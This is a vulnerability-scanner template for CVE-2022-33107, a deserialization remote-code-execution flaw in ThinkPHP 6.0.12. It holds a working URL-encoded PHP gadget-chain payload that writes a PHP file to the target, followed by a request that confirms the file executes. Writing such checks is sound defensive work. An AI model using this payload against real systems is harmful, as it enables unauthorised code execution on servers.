CVE-2022-33107: ThinkPHP 6.0.12 反序列化 RCE

id: CVE-2022-33107

info:
  name: ThinkPHP 6.0.12 反序列化 RCE
  author: daffainfo
  severity: critical
  description: 通过组件 vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php 发现 ThinkPHP v6.0.12 包含反序列化漏洞。此漏洞允许攻击者通过精心设计的有效负载执行任意代码。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33107
    - https://github.com/top-think/framework/issues/2717

rules:
  r0:
    request:
      method: POST
      path: /
      body: |
        cmd=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A2%3A%22a%3A%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A27%3A%22%3C%3Fphp+phpinfo%28%29%3B+exit%28%29%3B+%3F%3E%22%3Bs%3A6%3A%22%00%2A%00app%22%3BO%3A16%3A%22think%5CMiddleware%22%3A1%3A%7Bs%3A7%3A%22request%22%3Bi%3A2333%3B%7Ds%3A8%3A%22%00%2A%00route%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22getDomainBind%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A21%3A%22League%5CFlysystem%5CFile%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00path%22%3Bs%3A10%3A%22huahua.php%22%3Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A25%3A%22think%5Csession%5Cdriver%5CFile%22%3A0%3A%7B%7D%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22huahua%22%3B%7D%7D
    expression: "true"
  r1:
    request:
      method: GET
      path: /sess_huahua.php
    expression: response.status == 200 && response.body.bcontains(b'PHP Version')
expression: r0() && r1()